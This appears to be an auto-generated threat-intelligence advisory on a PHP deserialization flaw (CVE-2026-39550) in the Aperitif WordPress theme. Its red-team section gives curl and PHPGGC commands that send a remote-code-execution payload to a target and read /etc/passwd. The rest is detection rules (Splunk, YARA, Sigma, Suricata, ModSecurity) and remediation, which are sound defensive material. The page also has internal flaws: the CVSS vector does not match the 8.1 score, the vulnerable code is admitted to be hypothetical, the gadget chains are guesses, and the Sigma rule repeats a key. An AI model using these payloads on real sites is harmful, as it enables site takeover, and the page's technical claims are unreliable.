CVE-2026-39550
Executive Summary
CVE-2026-39550 is a critical Deserialization of Untrusted Data vulnerability (CWE-502) affecting the Aperitif WordPress theme by Elated-Themes, up to version 1.6. This vulnerability allows an unauthenticated attacker to perform Object Injection by passing malicious serialized data to an unsuspecting PHP unserialize() call within the theme. Successful exploitation can lead to remote code execution (RCE), full site compromise, data exfiltration, and lateral movement within the hosting environment.
This vulnerability is particularly dangerous because it requires no authentication, no user interaction, and can be triggered via HTTP GET or POST parameters. The CVSS v3.1 base score is 8.1 (High), with a vector string indicating network exploitability, low attack complexity, and high impact on confidentiality, integrity, and availability.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
WordPress Ecosystem Context
This vulnerability is specific to the Aperitif WordPress theme. It is not an Apache or Nginx issue. The attack surface is limited to sites running this theme, but given the popularity of Elated-Themes products, the potential blast radius is significant.
CVSS Breakdown & Threat Level
| Metric | Value |
|---|---|
| Attack Vector (AV) | Network (N) |
| Attack Complexity (AC) | Low (L) |
| Privileges Required (PR) | None (N) |
| User Interaction (UI) | None (N) |
| Scope (S) | Unchanged (U) |
| Confidentiality (C) | High (H) |
| Integrity (I) | High (H) |
| Availability (A) | High (H) |
| Base Score | 8.1 (High) |
Threat Level: Critical. The combination of no authentication, low complexity, and high impact makes this a prime target for automated exploitation. The EPSS score of 0.0% suggests low current exploitation activity, but this may change rapidly as PoC code emerges.
Deep Dive & Mechanics
The vulnerability resides in the Aperitif theme's handling of serialized PHP objects. The theme likely uses unserialize() on user-supplied input (e.g., via $_GET, $_POST, or $_COOKIE) without proper validation or sanitization. When an attacker provides a crafted serialized object, PHP's unserialize() will instantiate arbitrary classes and call their __wakeup() or __destruct() magic methods.
Attack Flow:
- Attacker identifies a parameter that is passed to
unserialize()(e.g.,?data=O:8:"stdClass":0:{}). - Attacker crafts a serialized payload that exploits a gadget chain (e.g., using WordPress core classes like
WP_HTML_TokenorWP_Block_List). - The payload is sent to the server.
- PHP deserializes the payload, triggering the gadget chain.
- The attacker achieves arbitrary code execution, file read/write, or database access.
Common Gadget Chains:
WP_HTML_Token+WP_HTML_Processor(WordPress 5.x/6.x)Requests_Utility_FilteredIterator+WP_Block_List(WordPress 5.x)- Custom Elated-Themes classes (if any)
Vulnerable vs. Patched Code
Since no official patch is available, we compare the vulnerable code pattern to a secure alternative.
Vulnerable Code (Aperitif <= 1.6):
// theme/functions.php
function aperitif_process_data($data) {
// No validation before unserialize
$obj = unserialize($data);
// ... process $obj
}
Secure Code (Hypothetical Patch):
// theme/functions.php
function aperitif_process_data($data) {
// Validate input is a simple array/string, not a serialized object
if (is_serialized($data) && preg_match('/^[aO]:\d+:.*/', $data)) {
// Reject serialized objects
wp_die('Invalid data format');
}
// Use json_decode instead
$obj = json_decode($data, true);
// ... process $obj
}
Key Differences:
- The vulnerable code uses
unserialize()directly on user input. - The secure code validates the input format and uses
json_decode()instead, which is not vulnerable to object injection. - Additional sanitization (e.g.,
sanitize_text_field()) should be applied.
Exploitation & Lab Setup
Red Team (Attacker)
Prerequisites:
- Target running WordPress with Aperitif theme <= 1.6
- PHP 7.0+ with
unserialize()enabled - Network access to the target
Step 1: Identify Vulnerable Parameter
# Scan for common unserialize parameters
curl -s "http://target.com/?data=test" | grep -i "unserialize\|error\|warning"
Step 2: Craft Payload (PHPGGC)
# Install PHPGGC
git clone https://github.com/ambionics/phpggc.git
cd phpggc
# Generate RCE payload using WordPress gadget chain
php phpggc.php WordPress/RCE1 system 'id' | base64
Step 3: Exploit
# Send payload via GET parameter
curl -s "http://target.com/?data=$(php phpggc.php WordPress/RCE1 system 'id' | base64 -w0)"
Step 4: Verify Execution
# Check for command output in response or error logs
curl -s "http://target.com/?data=$(php phpggc.php WordPress/RCE1 system 'cat /etc/passwd' | base64 -w0)"
Blue Team (Defender)
Detection Steps:
- Monitor for serialized PHP objects in HTTP requests (look for
O:,a:,s:patterns). - Check for unexpected
unserialize()calls in PHP error logs. - Use WAF rules to block serialized payloads.
Hunting Query (Splunk):
index=web sourcetype=access_combined
| search uri_query=*data=*
| rex field=uri_query "data=(?<payload>.*)"
| where match(payload, "^(O|a|s):\d+:")
| stats count by src_ip, uri
Indicators of Compromise (IOCs)
| Type | Indicator | Description |
|---|---|---|
| Network | O:\d+:.* in HTTP parameters |
Serialized object pattern |
| Network | Base64-encoded PHP serialized payloads | Common obfuscation |
| File | /wp-content/themes/aperitif/*.php |
Theme files (check for modifications) |
| File | /tmp/*.php |
Webshells dropped by RCE |
| Process | php processes with unusual arguments |
Command execution |
| Log | PHP warnings containing unserialize() |
Error log entries |
Detection Engineering
YARA Rule
rule CVE_2026_39550_Deserialization {
meta:
description = "Detects serialized PHP objects in HTTP requests targeting Aperitif theme"
author = "Valters IT"
date = "2026-01-01"
reference = "CVE-2026-39550"
severity = "high"
strings:
$serialized = /[Oa]:\d+:/
$theme_path = /aperitif/
$unserialize = /unserialize/
condition:
any of ($serialized) and any of ($theme_path) and any of ($unserialize)
}
Sigma Rule
title: CVE-2026-39550 - Aperitif Theme Deserialization Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP requests containing serialized PHP objects targeting the Aperitif WordPress theme
author: Valters IT
date: 2026-01-01
logsource:
category: webserver
product: apache
detection:
selection:
cs-uri-query|contains:
- 'O:'
- 'a:'
- 's:'
cs-uri-query|contains: 'aperitif'
condition: selection
falsepositives:
- Legitimate serialized data from other plugins
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2026-39550 - Aperitif Theme Deserialization Attempt"; flow:to_server,established; content:"aperitif"; http_uri; pcre:"/[Oa]:\d+:/Ri"; classtype:attempted-admin; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the Aperitif theme and switch to a default WordPress theme (e.g., Twenty Twenty-Four).
- Remove or rename the vulnerable theme directory:
mv /wp-content/themes/aperitif /wp-content/themes/aperitif-disabled - Apply a virtual patch using a WAF (e.g., Cloudflare, ModSecurity) to block serialized payloads.
Long-term Fix:
- Monitor the Elated-Themes vendor for an official patch.
- If no patch is released, consider migrating to a different theme permanently.
- Implement input validation on all
unserialize()calls in custom code.
WAF Rule (ModSecurity):
SecRule REQUEST_URI "@contains aperitif" "id:1000002,phase:1,deny,status:403,msg:'CVE-2026-39550 Blocked'"
SecRule ARGS "@rx [Oa]:\d+:" "id:1000003,phase:2,deny,status:403,msg:'Serialized object blocked'"
Valters IT
DevSecOps & Cyber Threat Intelligence
Report generated for CVE-2026-39550